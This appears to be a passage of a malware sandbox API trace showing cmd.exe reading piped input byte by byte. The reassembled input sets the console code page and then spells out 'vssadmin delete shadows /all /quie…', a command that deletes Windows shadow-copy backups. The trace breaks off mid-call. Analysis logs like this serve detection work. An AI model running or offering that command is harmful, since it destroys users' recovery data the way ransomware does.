[0264.410] WriteFile (in: hFile=0x254, lpBuffer=0x7ff67d049970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xc37e9ff858, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesWritten=0xc37e9ff858*=0x2, lpOverlapped=0x0) returned 1 [0264.410] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff67d04bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0264.410] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x229d1c70080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0264.410] _vsnwprintf (in: _Buffer=0x229d1c80060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xc37e9ff898 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0264.410] _vsnwprintf (in: _Buffer=0x229d1c80086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xc37e9ff898 | out: _Buffer=">") returned 1 [0264.410] _get_osfhandle (_FileHandle=1) returned 0x254 [0264.410] GetFileType (hFile=0x254) returned 0x3 [0264.410] _get_osfhandle (_FileHandle=1) returned 0x254 [0264.410] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0264.410] WriteFile (in: hFile=0x254, lpBuffer=0x7ff67d049970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xc37e9ff888, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesWritten=0xc37e9ff888*=0x14, lpOverlapped=0x0) returned 1 [0264.410] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.410] GetFileType (hFile=0x248) returned 0x3 [0264.410] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.410] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.410] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.410] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c30, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0264.410] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.410] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.410] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.411] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c32, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0264.411] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.411] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.411] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.411] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c34, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0264.411] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.411] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.411] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.411] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c36, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0264.411] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.411] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.411] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.411] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c38, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0264.411] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.411] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.411] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.411] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c3a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0264.411] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.411] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.411] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.411] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c3c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0264.411] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.411] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.411] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.411] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c3e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0264.411] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.411] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.411] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.412] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c40, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0264.412] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.412] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.412] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.412] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c42, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0264.412] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.412] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.412] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.412] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c44, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0264.412] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.412] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.412] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.412] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c46, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0264.412] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.412] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.412] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.412] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c48, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0264.412] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.412] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.412] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.412] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c4a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0264.412] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.412] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.413] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.413] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c4c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0264.413] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.413] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.413] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.413] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c4e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0264.413] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.413] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.413] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.413] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c50, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0264.413] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.413] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.413] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.413] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c52, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0264.413] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.413] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.413] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.413] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c54, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0264.413] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.413] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.413] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.413] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c56, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0264.413] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.413] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.414] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.414] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c58, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0264.414] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.414] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.414] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.414] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c5a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0264.414] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.414] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.414] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.414] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c5c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0264.414] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.414] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.414] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.414] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0264.414] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.414] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.414] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.414] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0264.414] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.414] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.414] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.414] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0264.415] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.415] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.415] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.415] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0264.415] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.415] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.415] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.415] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0264.415] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.415] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.415] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.415] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0264.415] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.415] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.415] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.415] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0264.415] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.415] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.415] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.415] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0264.415] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.415] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.415] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.415] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0264.415] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.415] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.415] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.416] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0264.416] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.416] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.416] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.416] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0264.416] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.416] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 